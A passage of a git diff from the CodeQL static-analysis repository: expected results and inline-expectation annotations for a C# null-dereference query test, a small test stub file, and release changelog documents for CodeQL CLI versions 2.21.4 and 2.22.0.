assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | -| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | -| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | -| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | -| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this | -| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this | -| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this | -| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this | -| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this | -| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this | -| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this | -| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this | -| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this | -| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this | -| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this | -| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this | -| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this | -| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this | -| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this | -| E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this | -| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this | -| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | -| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | -| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this | -| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this | -| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this | -| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | -| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this | -| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this | -| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this | -| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this | -| E.cs:240:21:240:21 | access to parameter i | E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:238:26:238:26 | i | i | E.cs:238:26:238:26 | i | this | -| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | -| E.cs:285:9:285:9 | access to local variable o | E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:283:13:283:13 | o | o | E.cs:284:9:284:9 | access to local variable o | this | -| E.cs:302:9:302:9 | access to local variable s | E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:301:13:301:13 | s | s | E.cs:301:13:301:27 | String s = ... | this | -| E.cs:343:9:343:9 | access to local variable x | E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:342:13:342:13 | x | x | E.cs:342:13:342:32 | String x = ... | this | -| E.cs:349:9:349:9 | access to local variable x | E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:348:17:348:17 | x | x | E.cs:348:17:348:36 | dynamic x = ... | this | -| E.cs:366:41:366:41 | access to parameter s | E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | Variable $@ may be null at this access because the parameter has a null default value. | E.cs:366:28:366:28 | s | s | E.cs:366:32:366:35 | null | this | -| E.cs:375:20:375:20 | access to local variable s | E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | E.cs:374:17:374:17 | s | s | E.cs:374:17:374:31 | String s = ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:14:382:23 | ... == ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:382:44:382:53 | ... != ... | this | -| E.cs:386:16:386:17 | access to parameter e1 | E.cs:380:24:380:25 | SSA param(e1) | E.cs:386:16:386:17 | access to parameter e1 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:24:380:25 | e1 | e1 | E.cs:384:13:384:22 | ... == ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:28:382:37 | ... != ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:382:58:382:67 | ... == ... | this | -| E.cs:386:27:386:28 | access to parameter e2 | E.cs:380:30:380:31 | SSA param(e2) | E.cs:386:27:386:28 | access to parameter e2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:380:30:380:31 | e2 | e2 | E.cs:384:27:384:36 | ... == ... | this | -| E.cs:417:34:417:34 | access to parameter i | E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:415:27:415:27 | i | i | E.cs:415:27:415:27 | i | this | -| E.cs:423:38:423:38 | access to parameter i | E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:420:27:420:27 | i | i | E.cs:420:27:420:27 | i | this | -| E.cs:430:39:430:39 | access to parameter i | E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:427:27:427:27 | i | i | E.cs:427:27:427:27 | i | this | -| GuardedString.cs:35:31:35:31 | access to local variable s | GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:35:31:35:31 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | GuardedString.cs:7:16:7:16 | s | s | GuardedString.cs:7:16:7:32 | String s = ... | this | -| NullMaybeBad.cs:7:27:7:27 | access to parameter o | NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | Variable $@ may be null at this access because of $@ null argument. | NullMaybeBad.cs:5:25:5:25 | o | o | NullMaybeBad.cs:13:17:13:20 | null | this | -| Params.cs:14:17:14:20 | access to parameter args | Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | Variable $@ may be null at this access because of $@ null argument. | Params.cs:12:36:12:39 | args | args | Params.cs:20:12:20:15 | null | this | -| StringConcatenation.cs:16:17:16:17 | access to local variable s | StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:16:17:16:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | StringConcatenation.cs:14:16:14:16 | s | s | StringConcatenation.cs:14:16:14:23 | String s = ... | this | diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref index caf2eefb3d8..6615576178c 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref +++ b/csharp/ql/test/query-tests/Nullness/NullMaybe.qlref @@ -1 +1,2 @@ -CSI/NullMaybe.ql +query: CSI/NullMaybe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs index 9950bc3c1ee..433a4edc112 100644 --- a/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs +++ b/csharp/ql/test/query-tests/Nullness/NullMaybeBad.cs @@ -4,12 +4,12 @@ class Bad { void DoPrint(object o) { - Console.WriteLine(o.ToString()); + Console.WriteLine(o.ToString()); // $ Alert[cs/dereferenced-value-may-be-null] } void M() { DoPrint("Hello"); - DoPrint(null); + DoPrint(null); // $ Source[cs/dereferenced-value-may-be-null] } } diff --git a/csharp/ql/test/query-tests/Nullness/Params.cs b/csharp/ql/test/query-tests/Nullness/Params.cs index 17c9cf861d7..b7f2c9e46e8 100644 --- a/csharp/ql/test/query-tests/Nullness/Params.cs +++ b/csharp/ql/test/query-tests/Nullness/Params.cs @@ -11,12 +11,12 @@ public class Params public void M2(params string[] args) { - var l = args.Length; // Good + var l = args.Length; // $ SPURIOUS (false positive): Alert[cs/dereferenced-value-may-be-null] } public void M() { M1("a", "b", "c", null); - M2(null); + M2(null); // $ Source[cs/dereferenced-value-may-be-null] } -} \ No newline at end of file +} diff --git a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs index 394ea907769..1cc8f146aec 100644 --- a/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs +++ b/csharp/ql/test/query-tests/Nullness/StringConcatenation.cs @@ -11,9 +11,9 @@ class StringsTest void StringMaybeNull() { - string s = null; + string s = null; // $ Source[cs/dereferenced-value-may-be-null] while (s != "") - s = s.Trim(); // BAD (maybe) + s = s.Trim(); // $ Alert[cs/dereferenced-value-may-be-null] } void StringNotNull() diff --git a/csharp/ql/test/query-tests/Nullness/options b/csharp/ql/test/query-tests/Nullness/options index ca78c431249..1039aa6de18 100644 --- a/csharp/ql/test/query-tests/Nullness/options +++ b/csharp/ql/test/query-tests/Nullness/options @@ -1,3 +1,4 @@ semmle-extractor-options: /nostdlib /noconfig semmle-extractor-options: --load-sources-from-project:${testdir}/../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj -semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs \ No newline at end of file +semmle-extractor-options: ${testdir}/../../resources/stubs/Microsoft.VisualStudio.TestTools.UnitTesting.cs +semmle-extractor-options: ${testdir}/../../resources/stubs/Library.cs diff --git a/csharp/ql/test/resources/stubs/Library.cs b/csharp/ql/test/resources/stubs/Library.cs new file mode 100644 index 00000000000..0efffd3f21b --- /dev/null +++ b/csharp/ql/test/resources/stubs/Library.cs @@ -0,0 +1,13 @@ +namespace Library; + +/* + * This file is for making stubs for library methods used for testing purposes. + * The file is located in the stubs folder, because then the code is not + * recognized as being from source. + */ +public static class MyExtensions +{ + public static void Accept(this object o) { } + + public static void AcceptNullable(this object? o) { } +} diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst index 754b6d2c4da..51ff05b0c3b 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst @@ -79,4 +79,4 @@ JavaScript/TypeScript * Added taint-steps for :code:`Array.prototype.toReversed`. * Added taint-steps for :code:`Array.prototype.toSorted`. * Added support for :code:`String.prototype.matchAll`. -* Added taint-steps for :code:`Array.prototype.reverse`. +* Added taint-steps for :code:`Array.prototype.reverse`. diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst new file mode 100644 index 00000000000..3603d345d71 --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst @@ -0,0 +1,187 @@ +.. _codeql-cli-2.21.4: + +========================== +CodeQL 2.21.4 (2025-06-02) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.4 runs a total of 449 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). + +CodeQL CLI +---------- + +Deprecations +~~~~~~~~~~~~ + +* The :code:`clang_vector_types`, :code:`clang_attributes`, and :code:`flax-vector-conversions` command line options have been removed from the C/C++ extractor. These options were introduced as workarounds to frontend limitations in earlier versions of the extractor and are no longer needed when calling the extractor directly. + +Miscellaneous +~~~~~~~~~~~~~ + +* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.7. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Added flow model for the :code:`SQLite` and :code:`OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + +C# +"" + +* The precision of the query :code:`cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries :code:`cs/password-in-configuration`, :code:`cs/hardcoded-credentials` and :code:`cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query :code:`cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant :code:`e1.Equals(e2)` implies :code:`e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query :code:`cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to :code:`System.Text.CompositeFormat.Parse` are now considered a format like method call. + +Golang +"""""" + +* The query :code:`go/hardcoded-credentials` has been removed from all query suites. + +Java/Kotlin +""""""""""" + +* The query :code:`java/hardcoded-credential-api-call` has been removed from all query suites. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The queries :code:`js/hardcoded-credentials` and :code:`js/password-in-configuration-file` have been removed from all query suites. + +Python +"""""" + +* The query :code:`py/hardcoded-credentials` has been removed from all query suites. + +Ruby +"""" + +* The query :code:`rb/hardcoded-credentials` has been removed from all query suites. + +Swift +""""" + +* The queries :code:`swift/hardcoded-key` and :code:`swift/constant-password` have been removed from all query suites. + +GitHub Actions +"""""""""""""" + +* The query :code:`actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions :code:`deploy-pages`, :code:`delete-package-versions`, :code:`ai-inference`. This should lead to better alert messages and better fix suggestions. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ArrayAggregateLiteral`\ s. +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ClassAggregateLiteral`\ s. + +Ruby +"""" + +* Bug Fixes +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + +Breaking Changes +~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Deleted the deprecated :code:`userInputArgument` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturn` predicate from the :code:`Security.qll`. +* Deleted the deprecated :code:`isUserInput` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputArgument` predicate from the :code:`SecurityOptions.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate from the :code:`SecurityOptions.qll`. + +Swift +""""" + +* Deleted the deprecated :code:`parseContent` predicate from the :code:`ExternalFlow.qll`. +* Deleted the deprecated :code:`hasLocationInfo` predicate from the :code:`DataFlowPublic.qll`. +* Deleted the deprecated :code:`SummaryComponent` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponent` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`RequiredSummaryComponentStack` class from the :code:`FlowSummary.qll`. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + +JavaScript/TypeScript +""""""""""""""""""""" + +* Improved analysis for :code:`ES6 classes` mixed with :code:`function prototypes`, leading to more accurate call graph resolution. + +Python +"""""" + +* The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add :code:`paths-ignore: ["**/.*/**"]` to your `Code Scanning config `__. If you would like to skip all hidden files, you can use :code:`paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the :code:`--codescanning-config` option. + +Ruby +"""" + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.1. +* :code:`TypeValueExpr` experimental AST leaf is now implemented in the control flow library + +Deprecated APIs +~~~~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* The predicate :code:`getValue()` on :code:`SpringRequestMappingMethod` is now deprecated. Use :code:`getAValue()` instead. +* Java now uses the shared :code:`BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The :code:`BasicBlock` class itself no longer extends :code:`ControlFlowNode` - the predicate :code:`getFirstNode` can be used to fix any QL code that somehow relied on this. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added local flow source models for :code:`ReadFile`, :code:`ReadFileEx`, :code:`MapViewOfFile`, :code:`MapViewOfFile2`, :code:`MapViewOfFile3`, :code:`MapViewOfFile3FromApp`, :code:`MapViewOfFileEx`, :code:`MapViewOfFileFromApp`, :code:`MapViewOfFileNuma2`, and :code:`NtReadFile`. +* Added the :code:`pCmdLine` arguments of :code:`WinMain` and :code:`wWinMain` as local flow sources. +* Added source models for :code:`GetCommandLineA`, :code:`GetCommandLineW`, :code:`GetEnvironmentStringsA`, :code:`GetEnvironmentStringsW`, :code:`GetEnvironmentVariableA`, and :code:`GetEnvironmentVariableW`. +* Added summary models for :code:`CommandLineToArgvA` and :code:`CommandLineToArgvW`. +* Added support for :code:`wmain` as part of the ArgvSource model. + +Shared Libraries +---------------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +Static Single Assignment (SSA) +"""""""""""""""""""""""""""""" + +* Adjusted the Guards interface in the SSA data flow integration to distinguish :code:`hasBranchEdge` from :code:`controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst new file mode 100644 index 00000000000..04920497e4e --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst @@ -0,0 +1,82 @@ +.. _codeql-cli-2.22.0: + +========================== +CodeQL 2.22.0 (2025-06-11) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.22.0 runs a total of 450 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). 1 security query has been added with this release. + +CodeQL CLI +---------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +* A number of breaking changes have been made to the C and C++ CodeQL test environment as used by :code:`codeql test run`\ : + + * Options starting with a :code:`/` are no longer supported by + :code:`semmle-extractor-options`. Any option starting with a :code:`/` should be replaced by the equivalent option starting with a :code:`-`, e.g., :code:`/D` should be replaced by :code:`-D`. + * Preprocessor command line options of the form :code:`-D#` are no longer supported by :code:`semmle-extractor-options`. :code:`-D=` should be used instead. + * The :code:`/Fp` and :code:`-o` options are no longer supported by + :code:`semmle-extractor-options`. The options should be omitted. + * The :code:`-emit-pch`, :code:`-include-pch`, :code:`/Yc`, and :code:`/Yu` options, and the + :code:`--preinclude` option taking a pre-compiled header as its argument, are no longer supported by :code:`semmle-extractor-options`. Any test that makes use of this should be replaced by a test that invokes the CodeQL CLI with the + :code:`create database` option and that runs the relevant queries on the created database. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Python +"""""" + +* Added SQL injection models from the :code:`pandas` PyPI package. + +New Queries +~~~~~~~~~~~ + +Golang +"""""" + +* Query (:code:`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the :code:`html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in `https://github.com/github/codeql-go/pull/493 `_. + +Language Libraries +------------------ + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Golang +"""""" + +* The first argument of :code:`Client.Query` in :code:`cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + +JavaScript/TypeScript +""""""""""""""""""""" + +* Added taint flow through the :code:`URL` constructor from the :code:`url` package, improving the identification of SSRF vulnerabilities. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.2. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added a predicate :code:`getReferencedMember` to :code:`UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff 